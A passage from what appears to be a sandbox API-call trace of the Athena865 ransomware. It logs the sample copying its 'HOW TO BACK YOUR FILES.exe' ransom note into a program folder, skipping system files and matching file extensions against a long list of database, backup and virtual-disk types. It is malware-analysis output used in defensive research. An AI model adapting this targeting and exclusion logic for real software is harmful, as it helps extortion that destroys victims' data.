ftLastWriteTime.dwLowDateTime=0xce681920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0120.092] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.092] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.092] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0120.092] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce681920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.092] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.092] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.092] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0120.092] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0120.092] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2=".") returned 1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="..") returned 1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="windows") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="bootmgr") returned 1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="temp") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="pagefile.sys") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="boot") returned 1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="ids.txt") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="ntuser.dat") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="perflogs") returned -1 [0120.092] lstrcmpiW (lpString1="Cartridges", lpString2="MSBuild") returned -1 [0120.092] lstrlenW (lpString="Cartridges") returned 10 [0120.092] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Cartridges" | out: lpString1="Cartridges") returned="Cartridges" [0120.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c320 [0120.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x550308 [0120.092] lstrcatW (in: lpString1="Cartridges", lpString2="\\" | out: lpString1="Cartridges\\") returned="Cartridges\\" [0120.093] lstrcatW (in: lpString1="Cartridges\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cartridges\\HOW TO BACK YOUR FILES.exe") returned="Cartridges\\HOW TO BACK YOUR FILES.exe" [0120.093] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.097] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce681920, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0120.097] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0120.097] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".") returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="..") returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="windows") returned -1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="bootmgr") returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="temp") returned -1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="pagefile.sys") returned -1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="boot") returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ids.txt") returned 1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ntuser.dat") returned -1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="perflogs") returned -1 [0120.097] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="MSBuild") returned 1 [0120.097] lstrlenW (lpString="msmdlocal.dll") returned 13 [0120.097] lstrcpyW (in: lpString1=0x241e8ba, lpString2="msmdlocal.dll" | out: lpString1="msmdlocal.dll") returned="msmdlocal.dll" [0120.098] lstrlenW (lpString="msmdlocal.dll") returned 13 [0120.098] lstrlenW (lpString="Athena865") returned 9 [0120.098] lstrcmpiW (lpString1="local.dll", lpString2="Athena865") returned 1 [0120.098] lstrlenW (lpString=".dll") returned 4 [0120.098] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".dll") returned 1 [0120.098] lstrlenW (lpString=".lnk") returned 4 [0120.098] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".lnk") returned 1 [0120.098] lstrlenW (lpString=".ini") returned 4 [0120.098] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".ini") returned 1 [0120.098] lstrlenW (lpString=".sys") returned 4 [0120.098] lstrcmpiW (lpString1="msmdlocal.dll", lpString2=".sys") returned 1 [0120.098] lstrlenW (lpString="msmdlocal.dll") returned 13 [0120.098] lstrlenW (lpString="bak") returned 3 [0120.098] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0120.098] lstrlenW (lpString="ba_") returned 3 [0120.098] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0120.098] lstrlenW (lpString="dbb") returned 3 [0120.098] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0120.098] lstrlenW (lpString="vmdk") returned 4 [0120.098] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0120.098] lstrlenW (lpString="rar") returned 3 [0120.098] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0120.098] lstrlenW (lpString="zip") returned 3 [0120.098] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0120.098] lstrlenW (lpString="tgz") returned 3 [0120.098] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0120.098] lstrlenW (lpString="vbox") returned 4 [0120.098] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0120.098] lstrlenW (lpString="vdi") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0120.099] lstrlenW (lpString="vhd") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0120.099] lstrlenW (lpString="vhdx") returned 4 [0120.099] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0120.099] lstrlenW (lpString="avhd") returned 4 [0120.099] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0120.099] lstrlenW (lpString="db") returned 2 [0120.099] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0120.099] lstrlenW (lpString="db2") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0120.099] lstrlenW (lpString="db3") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0120.099] lstrlenW (lpString="dbf") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0120.099] lstrlenW (lpString="mdf") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0120.099] lstrlenW (lpString="mdb") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0120.099] lstrlenW (lpString="sql") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0120.099] lstrlenW (lpString="sqlite") returned 6 [0120.099] lstrcmpiW (lpString1="al.dll", lpString2="sqlite") returned -1 [0120.099] lstrlenW (lpString="sqlite3") returned 7 [0120.099] lstrcmpiW (lpString1="cal.dll", lpString2="sqlite3") returned -1 [0120.099] lstrlenW (lpString="sqlitedb") returned 8 [0120.099] lstrcmpiW (lpString1="ocal.dll", lpString2="sqlitedb") returned -1 [0120.099] lstrlenW (lpString="xml") returned 3 [0120.099] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0120.099] lstrlenW (lpString="$er") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0120.100] lstrlenW (lpString="4dd") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0120.100] lstrlenW (lpString="4dl") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0120.100] lstrlenW (lpString="^^^") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0120.100] lstrlenW (lpString="abs") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0120.100] lstrlenW (lpString="abx") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0120.100] lstrlenW (lpString="accdb") returned 5 [0120.100] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0120.100] lstrlenW (lpString="accdc") returned 5 [0120.100] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0120.100] lstrlenW (lpString="accde") returned 5 [0120.100] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0120.100] lstrlenW (lpString="accdr") returned 5 [0120.100] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0120.100] lstrlenW (lpString="accdt") returned 5 [0120.100] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0120.100] lstrlenW (lpString="accdw") returned 5 [0120.100] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0120.100] lstrlenW (lpString="accft") returned 5 [0120.100] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0120.100] lstrlenW (lpString="adb") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.100] lstrlenW (lpString="adb") returned 3 [0120.100] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.100] lstrlenW (lpString="ade") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0120.101] lstrlenW (lpString="adf") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0120.101] lstrlenW (lpString="adn") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0120.101] lstrlenW (lpString="adp") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0120.101] lstrlenW (lpString="alf") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0120.101] lstrlenW (lpString="ask") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0120.101] lstrlenW (lpString="btr") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0120.101] lstrlenW (lpString="cat") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0120.101] lstrlenW (lpString="cdb") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0120.101] lstrlenW (lpString="ckp") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0120.101] lstrlenW (lpString="cma") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0120.101] lstrlenW (lpString="cpd") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0120.101] lstrlenW (lpString="dacpac") returned 6 [0120.101] lstrcmpiW (lpString1="al.dll", lpString2="dacpac") returned -1 [0120.101] lstrlenW (lpString="dad") returned 3 [0120.101] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0120.101] lstrlenW (lpString="dadiagrams") returned 10 [0120.101] lstrcmpiW (lpString1="dlocal.dll", lpString2="dadiagrams") returned 1 [0120.101] lstrlenW (lpString="daschema") returned 8 [0120.102] lstrcmpiW (lpString1="ocal.dll", lpString2="daschema") returned 1 [0120.102] lstrlenW (lpString="db-journal") returned 10 [0120.102] lstrcmpiW (lpString1="dlocal.dll", lpString2="db-journal") returned 1 [0120.102] lstrlenW (lpString="db-shm") returned 6 [0120.102] lstrcmpiW (lpString1="al.dll", lpString2="db-shm") returned -1 [0120.102] lstrlenW (lpString="db-wal") returned 6 [0120.102] lstrcmpiW (lpString1="al.dll", lpString2="db-wal") returned -1 [0120.102] lstrlenW (lpString="dbc") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0120.102] lstrlenW (lpString="dbs") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0120.102] lstrlenW (lpString="dbt") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0120.102] lstrlenW (lpString="dbv") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0120.102] lstrlenW (lpString="dbx") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0120.102] lstrlenW (lpString="dcb") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0120.102] lstrlenW (lpString="dct") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0120.102] lstrlenW (lpString="dcx") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0120.102] lstrlenW (lpString="ddl") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0120.102] lstrlenW (lpString="dlis") returned 4 [0120.102] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0120.102] lstrlenW (lpString="dp1") returned 3 [0120.102] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0120.103] lstrlenW (lpString="dqy") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0120.103] lstrlenW (lpString="dsk") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0120.103] lstrlenW (lpString="dsn") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0120.103] lstrlenW (lpString="dtsx") returned 4 [0120.103] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0120.103] lstrlenW (lpString="dxl") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0120.103] lstrlenW (lpString="eco") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0120.103] lstrlenW (lpString="ecx") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0120.103] lstrlenW (lpString="edb") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0120.103] lstrlenW (lpString="epim") returned 4 [0120.103] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0120.103] lstrlenW (lpString="fcd") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0120.103] lstrlenW (lpString="fdb") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0120.103] lstrlenW (lpString="fic") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0120.103] lstrlenW (lpString="flexolibrary") returned 12 [0120.103] lstrcmpiW (lpString1="smdlocal.dll", lpString2="flexolibrary") returned 1 [0120.103] lstrlenW (lpString="fm5") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0120.103] lstrlenW (lpString="fmp") returned 3 [0120.103] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0120.104] lstrlenW (lpString="fmp12") returned 5 [0120.104] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0120.104] lstrlenW (lpString="fmpsl") returned 5 [0120.104] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0120.104] lstrlenW (lpString="fol") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0120.104] lstrlenW (lpString="fp3") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0120.104] lstrlenW (lpString="fp4") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0120.104] lstrlenW (lpString="fp5") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0120.104] lstrlenW (lpString="fp7") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0120.104] lstrlenW (lpString="fpt") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0120.104] lstrlenW (lpString="frm") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0120.104] lstrlenW (lpString="gdb") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.104] lstrlenW (lpString="gdb") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.104] lstrlenW (lpString="grdb") returned 4 [0120.104] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0120.104] lstrlenW (lpString="gwi") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0120.104] lstrlenW (lpString="hdb") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0120.104] lstrlenW (lpString="his") returned 3 [0120.104] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0120.105] lstrlenW (lpString="ib") returned 2 [0120.105] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0120.105] lstrlenW (lpString="idb") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0120.105] lstrlenW (lpString="ihx") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0120.105] lstrlenW (lpString="itdb") returned 4 [0120.105] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0120.105] lstrlenW (lpString="itw") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0120.105] lstrlenW (lpString="jet") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0120.105] lstrlenW (lpString="jtx") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0120.105] lstrlenW (lpString="kdb") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0120.105] lstrlenW (lpString="kexi") returned 4 [0120.105] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0120.105] lstrlenW (lpString="kexic") returned 5 [0120.105] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0120.105] lstrlenW (lpString="kexis") returned 5 [0120.105] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0120.105] lstrlenW (lpString="lgc") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0120.105] lstrlenW (lpString="lwx") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0120.105] lstrlenW (lpString="maf") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0120.105] lstrlenW (lpString="maq") returned 3 [0120.105] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0120.106] lstrlenW (lpString="mar") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0120.106] lstrlenW (lpString="marshal") returned 7 [0120.106] lstrcmpiW (lpString1="cal.dll", lpString2="marshal") returned -1 [0120.106] lstrlenW (lpString="mas") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0120.106] lstrlenW (lpString="mav") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0120.106] lstrlenW (lpString="maw") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0120.106] lstrlenW (lpString="mdbhtml") returned 7 [0120.106] lstrcmpiW (lpString1="cal.dll", lpString2="mdbhtml") returned -1 [0120.106] lstrlenW (lpString="mdn") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0120.106] lstrlenW (lpString="mdt") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0120.106] lstrlenW (lpString="mfd") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0120.106] lstrlenW (lpString="mpd") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0120.106] lstrlenW (lpString="mrg") returned 3 [0120.106] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0120.113] lstrlenW (lpString="mud") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0120.113] lstrlenW (lpString="mwb") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0120.113] lstrlenW (lpString="myd") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0120.113] lstrlenW (lpString="ndf") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0120.113] lstrlenW (lpString="nnt") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0120.113] lstrlenW (lpString="nrmlib") returned 6 [0120.113] lstrcmpiW (lpString1="al.dll", lpString2="nrmlib") returned -1 [0120.113] lstrlenW (lpString="ns2") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0120.113] lstrlenW (lpString="ns3") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0120.113] lstrlenW (lpString="ns4") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0120.113] lstrlenW (lpString="nsf") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0120.113] lstrlenW (lpString="nv") returned 2 [0120.113] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0120.113] lstrlenW (lpString="nv2") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0120.113] lstrlenW (lpString="nwdb") returned 4 [0120.113] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0120.113] lstrlenW (lpString="nyf") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0120.113] lstrlenW (lpString="odb") returned 3 [0120.113] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.114] lstrlenW (lpString="odb") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.114] lstrlenW (lpString="oqy") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0120.114] lstrlenW (lpString="ora") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0120.114] lstrlenW (lpString="orx") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0120.114] lstrlenW (lpString="owc") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0120.114] lstrlenW (lpString="p96") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0120.114] lstrlenW (lpString="p97") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0120.114] lstrlenW (lpString="pan") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0120.114] lstrlenW (lpString="pdb") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0120.114] lstrlenW (lpString="pdm") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0120.114] lstrlenW (lpString="pnz") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0120.114] lstrlenW (lpString="qry") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0120.114] lstrlenW (lpString="qvd") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0120.114] lstrlenW (lpString="rbf") returned 3 [0120.114] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0120.114] lstrlenW (lpString="rctd") returned 4 [0120.115] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0120.115] lstrlenW (lpString="rod") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0120.115] lstrlenW (lpString="rodx") returned 4 [0120.115] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0120.115] lstrlenW (lpString="rpd") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0120.115] lstrlenW (lpString="rsd") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0120.115] lstrlenW (lpString="sas7bdat") returned 8 [0120.115] lstrcmpiW (lpString1="ocal.dll", lpString2="sas7bdat") returned -1 [0120.115] lstrlenW (lpString="sbf") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0120.115] lstrlenW (lpString="scx") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0120.115] lstrlenW (lpString="sdb") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0120.115] lstrlenW (lpString="sdc") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0120.115] lstrlenW (lpString="sdf") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0120.115] lstrlenW (lpString="sis") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0120.115] lstrlenW (lpString="spq") returned 3 [0120.115] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0120.115] lstrlenW (lpString="te") returned 2 [0120.115] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0120.115] lstrlenW (lpString="teacher") returned 7 [0120.115] lstrcmpiW (lpString1="cal.dll", lpString2="teacher") returned -1 [0120.116] lstrlenW (lpString="tmd") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0120.116] lstrlenW (lpString="tps") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0120.116] lstrlenW (lpString="trc") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.116] lstrlenW (lpString="trc") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.116] lstrlenW (lpString="trm") returned 3 [0120.116] lstrcmpiW (lpString1="dll", 